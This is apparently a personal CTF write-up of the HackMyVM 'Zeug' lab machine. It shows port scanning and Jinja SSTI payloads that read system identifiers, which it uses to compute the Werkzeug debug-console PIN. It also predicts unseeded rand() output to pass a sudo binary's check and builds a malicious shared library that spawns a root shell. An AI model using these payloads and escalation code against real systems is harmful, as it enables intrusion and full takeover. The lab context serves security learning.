Zeug - HackMyVM


 

This was a really nice machine, if you like to be annoyed by trying to do the same thing many different ways until you eventually get somewhere... Thank you c4rta - looking forward to your next machine ;)

Find it

sudo netdiscover -r 10.0.0.0/24 -i eth1 -P
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 10.0.0.1        08:00:27:41:d0:fa      1      60  PCS Systemtechnik GmbH
 10.0.0.123      08:00:27:fc:d6:0f      1      60  PCS Systemtechnik GmbH

-- Active scan completed, 2 Hosts found.

nmap -v -T4 -p- 10.0.0.123       
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-07 04:21 EST
Initiating Ping Scan at 04:21
Scanning 10.0.0.123 [2 ports]
Completed Ping Scan at 04:21, 0.01s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 04:21
Completed Parallel DNS resolution of 1 host. at 04:21, 0.03s elapsed
Initiating Connect Scan at 04:21
Scanning 10.0.0.123 [65535 ports]
Discovered open port 21/tcp on 10.0.0.123
Discovered open port 5000/tcp on 10.0.0.123
Completed Connect Scan at 04:21, 11.93s elapsed (65535 total ports)
Nmap scan report for 10.0.0.123
Host is up (0.0016s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE
21/tcp   open  ftp
5000/tcp open  upnp

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.04 seconds

Anonymous ftp reveals a text file: README.txt
Hi, Cosette, don't forget to disable the debug mode in the web application, we don't want security breaches.

Port 5000 is running http and closer inspection of the headers shows a Python app:
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.1 Python/3.11.2
|     Date: Mon, 05 Feb 2024 08:47:30 GMT
|     Content-Type: text/html; charset=utf-8
|     Allow: OPTIONS, GET, POST, HEAD

LFI

The webpage invites you to upload a .html after finding most of the wrong ways to do anything I eventually got the right template:
(there appear to be quite a list of blacklistes commands like "subprocess", [, |, import, etc)
With LFI it is then possible to fetch the information required to work out the PIN code to unlock the debug "/console". 
template.html
#bootid###
{{get_flashed_messages.__globals__.__builtins__.open("/proc/sys/kernel/random/boot_id").read() }}
###arp###
{{get_flashed_messages.__globals__.__builtins__.open("/sys/class/net/enp0s3/address").read() }}
###machineid###
{{get_flashed_messages.__globals__.__builtins__.open("/etc/machine-id").read() }}
###cgroup###
{{get_flashed_messages.__globals__.__builtins__.open("/proc/self/cgroup").read() }}


Punching the correct details into the werkzeug PIN exploit script - instructions in the link
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug#code-for-get_machine_id
in my case the settings were:
robably_public_bits = [
    'cosette',  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/home/cosette/zeug/venv/lib/python3.11/site-packages/flask/app.py'
]

private_bits = [
    '8796763903503', # in pytho console  str(int("0x" + "08:00:27:fc:d6:0f".replace(":", ""), 16))
    '48329e233f524ec291cce7479927890bzeug-app.service'
]

And the script gave me a PIN of 435-535-794

User

With an unrestricted console it was trivial to paste in a python reverse shell.
https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#python




cosette@zeug:~$ ls
seed_bak  zeug
cosette@zeug:~$ sudo -l
Matching Defaults entries for cosette on zeug:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User cosette may run the following commands on zeug:
    (exia) NOPASSWD: /home/exia/seed
cosette@zeug:~$

Assuming that seed_bak is the same file as /home/exia/seed then I transfered it to my server
(python3 -m http.server and then just wget http://10.0.0.123:8000/seed_bak) and uploaded it to http://dogbolt.org as it can be easier than waiting for ghidra to wake up!

So it picks a random number and performs an XOR with the input and gives us a shell if the result if 0xdeadbeef. The random is not seeded so will give the same results each time the program is executed.
finding the number by using the code from https://www.codingninjas.com/studio/library/random-function-in-c

gcc rand.c -o rand                     
chmod +x rand
./rand
The 1 random number is: 1804289383
The 2 random number is: 846930886
The 3 random number is: 1681692777
./rand 
The 1 random number is: 1804289383
The 2 random number is: 846930886
The 3 random number is: 1681692777

So if we just XOR the result with the first random we should get the complement number.
python
Python 3.11.6 (main, Oct  8 2023, 05:06:43) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0xdeadbeef ^ 1804289383
3039230856
>>>
cosette@zeug:~/zeug$ sudo -u exia /home/exia/seed
********************************************
* Hi, Cosette, it's time to plant the seed *
********************************************
Enter a number: 3039230856
exia@zeug:/home/cosette/zeug$ 

Root

exia@zeug:/home/cosette/zeug$ sudo -l
Matching Defaults entries for exia on zeug:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User exia may run the following commands on zeug:
    (root) NOPASSWD: /usr/bin/zeug

exia@zeug:/home/cosette/zeug$ strings /usr/bin/zeug 
/lib64/ld-linux-x86-64.so.2
__libc_start_main
stderr
...
/home/exia/exia.so
...

A cursory look at the elf has a pointer to ".so" shared library file, so compiling one in the home directory using the code from https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-privilege-escalation-by-overriding-shared-library/

exia@zeug:~$ cat bad.c 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void inject()__attribute__((constructor));

void inject() {
        unsetenv("LD_PRELOAD");
        setuid(0);
        setgid(0);
        system("/bin/bash");
}
exia@zeug:~$ gcc -shared -o exia.so -fPIC bad.c
exia@zeug:~$ sudo /usr/bin/zeug 
root@zeug:/home/exia# id
uid=0(root) gid=0(root) groups=0(root)

Comments

Popular posts from this blog

Espo - HackMyVM

HackMyVM - Comingsoon